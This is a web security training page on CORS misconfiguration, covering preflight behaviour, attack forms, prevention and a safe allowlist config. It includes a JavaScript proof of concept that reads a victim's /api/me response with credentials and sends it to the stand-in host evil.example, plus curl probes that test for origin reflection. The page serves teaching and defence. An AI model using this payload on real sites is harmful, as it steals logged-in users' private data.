CIDADAXSEC
← All topics
Practitioner

Cross-origin resource sharing (CORS)

Misconfigured CORS lets an attacker's site read cross-origin responses from the victim's application.

Material

CORS is the browser mechanism that decides whether a page on one origin may read an AJAX response from another origin. A mistake in the Access-Control-Allow-Origin header lets the attacker's site read the victim's cross-origin data, including private data belonging to the logged-in account.

How it works

A simple cross-origin request, such as a GET, POST, or DELETE with restricted headers, is sent without prior approval. The response is still blocked by the browser unless the server returns an Access-Control-Allow-Origin matching the requesting origin.

A non-simple request is tested first with an OPTIONS preflight. The server must permit the requested method and headers, and that preflight is what separates an exploitable flaw from a configuration mistake that merely causes noise.

http
OPTIONS /api/me HTTP/1.1
Host: target.website
Origin: https://evil.example
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: PUT

An Allow-Origin header that simply echoes the incoming Origin means the server approves any origin. Combined with Allow-Credentials true, the session cookie is sent along and the response becomes readable by JavaScript on the attacker's site.

html
<script>
fetch("https://target.website/api/me", { credentials: "include" })
  .then(function (r) { return r.json(); })
  .then(function (d) {
    new Image().src = "https://evil.example/collect?d=" + encodeURIComponent(JSON.stringify(d));
  });
</script>
bash
# periksa apakah server pantulkan origin dan mengizinkan kredensial
curl -si -H "Origin: https://evil.example" https://target.website/api/me \
  | grep -i "access-control"
# uji juga preflight untuk metode non sederhana
curl -si -X OPTIONS -H "Origin: https://evil.example" \
  -H "Access-Control-Request-Method: DELETE" https://target.website/api/me \
  | grep -i "access-control"

Attack forms

  • Free origin reflection: the server returns whatever Allow-Origin it is asked for, so every site on the internet is trusted.
  • A trusted null origin: a sandboxed page, a local file, or a data: document sends Origin null and slips past the allowlist.
  • A trusted insecure scheme: http:// or a subdomain without TLS is allowed, so a man-in-the-middle can pose as a legitimate origin.
  • Allow-Credentials=true combined with a loose origin list, so the session cookie rides along with every request.
  • A GraphQL endpoint or an internal API that never checks Origin and relies entirely on the browser.

Prevention

  • Use an explicit origin allowlist taken from configuration rather than the Origin value of the request.
  • Never combine a wildcard with Allow-Credentials; name one specific origin instead.
  • Restrict Access-Control-Expose-Headers to the headers the client genuinely needs to read.
  • Add Vary: Origin so the cache never serves a response belonging to a different origin.
  • Check Origin and Referer on the server for sensitive endpoints as a second layer next to CORS.
yaml
cors:
  allowed_origins:
    - https://app.example.com
  allow_credentials: true
  allowed_methods:
    - GET
    - POST
    - PUT
    - DELETE
  allowed_headers:
    - content-type
    - x-csrf-token
  expose_headers:
    - x-request-id
  max_age: 600

CORS governs who may read a cross-origin response, not who may send a request. Endpoints that only accept an action and return no sensitive data still deserve the check, but the real risk sits on responses that carry data.

Note: XSS neutralizes the whole CORS mechanism, because a script running on the victim origin is already allowed to read the very same responses. Fix script injection before guessing at the CORS configuration.

Labs in this topic

Labs run on a domain separate from this site, so a payload cannot reach your account session.

Labs for this category land in Phase 2. The material is readable now.

Challenges in this category

Challenges from the PortSwigger Web Security Academy. The original labs run on PortSwigger domains, so the link opens there.